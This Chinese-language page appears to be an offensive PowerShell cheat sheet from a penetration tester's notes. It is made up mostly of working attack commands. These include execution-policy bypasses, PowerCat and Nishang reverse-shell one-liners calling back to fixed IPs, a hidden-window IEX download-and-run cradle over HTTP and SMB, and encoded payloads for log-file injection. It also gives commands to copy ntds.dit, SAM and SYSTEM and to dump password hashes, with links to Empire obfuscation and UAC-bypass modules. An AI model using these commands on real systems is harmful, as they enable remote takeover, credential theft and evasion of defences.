跳到主要内容

windows-PS模块

重要:

  1. 命令 Get-ExecutionPolicy 检查当前 powershell 的脚本执行策略,如果是 Unrestricted 或 Bypass 则表示可以执行外部脚本。
  2. 命令 Set-ExecutionPolicy -ExecutionPolicy Unrestricted 可以设置 powershell 的脚本执行策略,但需要管理员权限才能执行。

脚本执行

本处以执行 PowerCat 脚本进行反向 shell 连接作为示例。

本地加载

  1. powershell.exe -nop -ep bypass -c ". .\nc.ps1;powercat -c 192.168.56.20 -p 4444 -e cmd"
  2. powershell.exe -nop -ep bypass -file ".\nc.ps1",将调用命令 powercat -c 192.168.56.20 -p 4444 -e cmd 添加到脚本底部。

远程加载

  1. powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.20/nc.ps1');powercat -c 192.168.56.20 -p 4444 -e cmd",HTTP 链接。
  2. powershell -nop -ep bypass -c "IEX (Get-Content '\\192.168.56.20\share\nc.ps1' -Raw);powercat -c 192.168.56.20 -p 4444 -e cmd",SMB 链接。

侦查

PowerUp

位置:PowerSploit-3.0.0\Privesc

功能:Invoke-AllChecks,对所有的检查项批量进行枚举。

Shells

Invoke-PowerShellTcp

位置:Nishang-0.7.6\Shells

功能1:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444,反向连接目标,从而生成一个 powershell 会话。

Invoke-PowerShellTcpOneLine

位置:Nishang-0.7.6\Shells

功能1:$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(),通过一行命令去反向连接目标,从而生成一个 powershell 会话。

功能2:$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)},通过一行命令去反向连接目标,从而生成一个 powershell 会话。

PowerCat

位置:https://github.com/besimorhino/powercat

功能1:powercat -c 192.168.56.20 -p 443 -e cmd,反向连接目标。

功能2:powercat -l -p 8000 -r tcp:10.1.1.16:443,端口转发。

编码/加密

Out-EncodedCommand

位置:PowerSploit-3.0.0\ScriptModification

功能1:Out-EncodedCommand -Path .\test.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput,将 ps1 脚本编码成一句话命令。其功能类似于 powershell -f ".\test.ps1"。【注意:其生成的格式 powershell -NoP -NonI -W Hidden -E "cw..." 在配合文件包含注入 log 日志时,尽量写成 powershell -NoP -NonI -W Hidden -E cw...这样的格式,避免因双引号被转义导致命令不能被正常执行。 】

功能2:Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'},将 cmdlet 命令编码成一句话命令。其功能类似于 powershell -c "Write-Host 'hello, world!'"

杂项

Invoke-NinjaCopy

位置:PowerSploit-3.0.0\Exfiltration

功能:Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination ".\ntds.dit" 复制无法直接复制的文件,如 ntds、sam、system 等。【注:Copy-VSS.ps1 产生的 ntds 文件似乎存在些问题,无法通过 impacket-secretsdump 提取哈希。】

注:系统重要文件:C:\windows\ntds\ntds.ditC:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEM

Invoke-PowerDump

位置:https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/credentials/Invoke-PowerDump.ps1

功能:Invoke-PowerDump 本地转储 SAM 文件中的用户哈希。

Invoke-Runas

Invoke-SMBShell

Bypass-UAC

帝国模块库:https://github.com/BC-SECURITY/Empire/tree/main/empire/server/data/module_source

帝国混淆库:https://github.com/BC-SECURITY/Empire/tree/main/empire/server/data/Invoke-Obfuscation

https://github.com/FuzzySecurity/PowerShell-Suite

https://github.com/Ridter/Pentest